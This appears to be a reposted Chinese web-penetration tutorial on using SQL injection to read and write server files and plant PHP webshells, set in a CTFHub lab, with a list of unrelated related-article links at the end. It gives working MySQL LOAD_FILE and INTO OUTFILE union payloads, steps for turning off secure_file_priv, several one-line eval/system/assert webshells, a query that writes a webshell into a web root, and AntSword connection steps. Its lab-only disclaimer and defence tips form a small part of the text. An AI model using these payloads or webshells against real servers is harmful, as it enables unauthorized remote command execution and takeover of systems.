当前位置: 首页 > news >正文

Web渗透之SQL注入-文件读写-木马植入

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、Mysql读写权限确认和修改

1、方式一

2、方式二

3、修改mysql文件读取权限

(1). 找到 MySQL 配置文件

(2). 在 [mysqld] 段落下添加或修改

4、重启 MySQL 服务

5、验证修改结果

二、Mysql文件读写的sql语法

1、读文件

基本sql语句:

联合查询语句:

2、写文件

基本sql语句:

联合查询语句:

三、通过sql注入写入木马

1、PHP一句话木马(WebShell)

2、典型示例

3、常见变形

4、用途(仅限合法测试)

5、防御措施

6、法律提醒

7、向系统写入一句话木马

8、验证木马是否有效

四、通过sql注入getshell

1、蚁剑的使用

(1)添加数据

(2)填写数据与测试连接

(3)添加完成点击数据,就可以进行操作了

2、进行sql注入示例

文件上传

无验证:

一、Mysql读写权限确认和修改

MySQL 的“读写权限”在数据库安全上下文中特指 MySQL 服务器能否通过 SQL 语句读取或写入数据库服务器所在主机的文件系统。这类操作主要通过LOAD_FILE()函数(读)和INTO OUTFILE/DUMPFILE子句(写)完成。

  • 读权限:能否使用SELECT LOAD_FILE('文件路径')读取服务器上的文本文件。

  • 写权限:能否使用SELECT ... INTO OUTFILE '文件路径'将查询结果写入服务器文件。

这两项能力默认受到严格限制,以防止 SQL 注入漏洞被利用来读取系统敏感文件或写入 Webshell。

1、方式一

show global variables like '%secure%';

如果secure_file_priv=NULL 则表示这个mysql数据库没有文件读写权限
如果secure_file_priv=/var/lib/mysql-files/ (路径) 说明mysql在这个路径下有文件读写权限
如果secure_file_priv= (没有值),则表示mysql有任意路径下的读写权限

2、方式二

SELECT * FROM performance_schema.global_variables WHERE variable_name LIKE '%secure%';

mysql数据库版本不同global_variables在的数据库也不同,有的在information_schema里,有的在performance_schema里

3、修改mysql文件读取权限

(1). 找到 MySQL 配置文件

通常位于/etc/my.cnf。也可能是/etc/mysql/my.cnf,但 CentOS 7 默认是/etc/my.cnf

sudo vi /etc/my.cnf

(2). 在[mysqld]段落下添加或修改

找到[mysqld]标签,在其下方添加一行(如果已有secure_file_priv行,则修改其值):

[mysqld] secure_file_priv = ''

4、重启 MySQL 服务

sudo systemctl restart mysqld

5、验证修改结果

执行成功

SHOW VARIABLES LIKE 'secure_file_priv';

二、Mysql文件读写的sql语法

1、读文件

我们先写个文本文档a.txt导入到我的虚拟机里

进行查询可以看到文件数据的大小以及类型

基本sql语句:

SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt');

联合查询语句:

SELECT 1,2,3 UNION SELECT (SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt')),5,6

2、写文件

基本sql语句:

SELECT 'nihao' INTO OUTFILE '/var/www/html/1vbohan/muma/a.txt';

如果把nihao写入a.txt结果会报错,因为写文件,必须这个文件不存在才行

把nihao,写到b.txt,成功写入,b.txt不需要提前1建,写入的时候这个语句自动生成文件

联合查询语句:

SELECT 1,2,3 UNION SELECT 4,5,6 INTO OUTFILE '/var/www/html/1vbohan/muma/c.txt'

注意:子查询不能用,会报错

三、通过sql注入写入木马

1、PHP一句话木马(WebShell)

概念:PHP一句话木马是一种短小精悍的恶意脚本,通常只有一行代码,用于在 Web 服务器上实现远程命令执行或文件管理。攻击者通过文件上传、SQL 注入写入文件等方式将其放置到目标服务器,然后使用中国蚁剑、冰蝎、菜刀等客户端工具连接,从而获得服务器的控制权限。

作用:把字符串当成PHP程序进行解析

2、典型示例

<?php @eval($_POST['cmd']); ?>
  • @抑制错误输出。

  • eval()函数将$_POST['cmd']接收到的字符串当作 PHP 代码执行。

  • 攻击者发送 HTTP POST 请求,参数cmd=system('whoami');即可执行系统命令。

3、常见变形

<?php system($_REQUEST['cmd']); ?> <?php assert($_POST['a']); ?> <?php @eval($_GET['c']); ?>

4、用途(仅限合法测试)

  • 在授权渗透测试中验证文件上传漏洞、RCE 漏洞的严重性。

  • 在 CTF 或靶场中获取 flag。

5、防御措施

  • 严格限制文件上传类型(白名单+重命名)。

  • 设置目录权限,禁止 PHP 解析上传目录。

  • 使用 Web 应用防火墙(WAF)拦截可疑的 POST 参数。

  • 定期扫描 Web 目录中的可疑文件。

  • 禁用危险函数(evalassertsystem等),可通过disable_functions实现。

6、法律提醒

未经授权在他人服务器上放置一句话木马属于违法行为,违反《刑法》第285、286条。仅可在自己搭建的靶场或获得书面授权的环境中使用。

<?php @eval($_POST['cmd']); ?>

7、向系统写入一句话木马

注意:只能写入web服务路径下。

-- 写入一句话木马 select '<?php eval($_POST[0]);?>' into outfile 'C:/tools/phpstudy/WWW\mm.php'

写入成功

8、验证木马是否有效

当出现这个界面说明一句话木马生效

一句话木马也可以运行系统命令

四、通过sql注入getshell

1、蚁剑的使用

(1)添加数据

(2)填写数据与测试连接

(3)添加完成点击数据,就可以进行操作了

2、进行sql注入示例

一般进行注入上传木马文件

以CTFHUB文件上传漏洞这个靶场来讲解一下蚁剑的使用

文件上传

这个比较方便,直接就可以选择文件上传

先看靶场环境是php

编一个一句话木马php文件,然后下载

返回靶场上传文件

可以看到上传文件路径

把url和上传文件路径结合到一块,用蚁剑查看是否上传成功

通过目录查找在蚁剑里找到flag文件

找到flag

http://www.jsqmd.com/news/954294/

相关文章:

  • 车载C-V2X开发套件:支持四跨/新四跨认证,兼容Linux与Android的OBU快速开发框架
  • 2026 晋江防水补漏哪家好?住建实地测评权威榜单 TOP5|滨海渔村 / 老城小区 / 闽南古厝 / 鞋服染整厂房渗漏修缮白皮书(6 月专项调研) - 苏易修缮
  • 告别百度地图API!用JTS+GeoTools搞定Java空间几何计算(含坐标系转换避坑)
  • 西安铂金钯金哪里回收?不按黄金价折算,这4家专业报价! - 西安知道
  • 深度解析:BepInEx 6.0架构演进中的IL2CPP签名优化与资源加载稳定性解决方案
  • MuleSoft+LLM企业级AI编排实战:语义集成与生产级防护
  • 炉石传说插件HsMod:终极游戏体验优化指南
  • 2026 宜昌防水补漏三家品牌横向测评:厨卫屋面地下室修缮哪家靠谱?吉修匠 99.8 分五星稳居榜首 - 吉修匠
  • 惠州知名的网站建设公司权威推荐:2026年十大设计出众实力雄厚的建站机构实测指南 - 博客万
  • 别再只懂MSE了!PyTorch实战:用Smooth L1 Loss搞定目标检测中的边界框回归(附代码对比)
  • python调用图莫斯+can通讯
  • 告别光猫拨号!用R2S软路由做主路由,搭配OpenWrt实现全屋网络自由(附AP模式设置)
  • 英雄联盟客户端个性化终极指南:如何用LeaguePrank安全免费打造专属界面
  • 3步搞定B站视频转文字:免费工具让知识提取更简单
  • 2026杭州室内游玩乐园亲子室内新指南|遛娃避暑不踩雷,未来乐园成周末首选 - 资讯速览
  • 微软 Rayfin:改善开发流程,助力企业 AI 治理与运营!
  • PCF8563实时时钟芯片裸机驱动源码(含I2C底层适配)
  • 云加速与CDN加速区别在哪?网络加速底层逻辑讲解
  • HsMod:如何通过55项功能彻底优化你的炉石传说游戏体验
  • 算法复杂度下限证明与优化空间分析的技术8
  • Zabbix Agent告警背后:一次关于localhost、socket与权限的深度踩坑记录
  • 被DeepSeek和豆包“忽略”的品牌,正在错失什么?2026年武汉企业GEO布局指南与优质服务商推荐 - 资讯速览
  • 单卫星轨道Simulink仿真模型(含太阳光压扰动与初值自动初始化)
  • 2026苏州工业机器人培训深度选型:如何匹配你的需求方案 - 资讯速览
  • 网易云音乐NCM文件解密:ncmdump让你真正拥有付费音乐
  • Proteus里跑起来的51单片机三相无刷电机霍尔换相仿真包
  • 百考通助手:AI精准赋能文献综述,让学术梳理高效又专业
  • 从78个漏洞报告说起:AWVS扫描DVWA后的结果分析与漏洞复现实操
  • 2026年贵阳近郊山庄与团建聚餐一站式服务商深度评测|贵阳周末微度假怎么选 - 企业名录优选推荐
  • 逆向思维:当夜神模拟器抓包失败时,我是如何用雷电模拟器+Proxifier+Fiddler搞定顽固APP的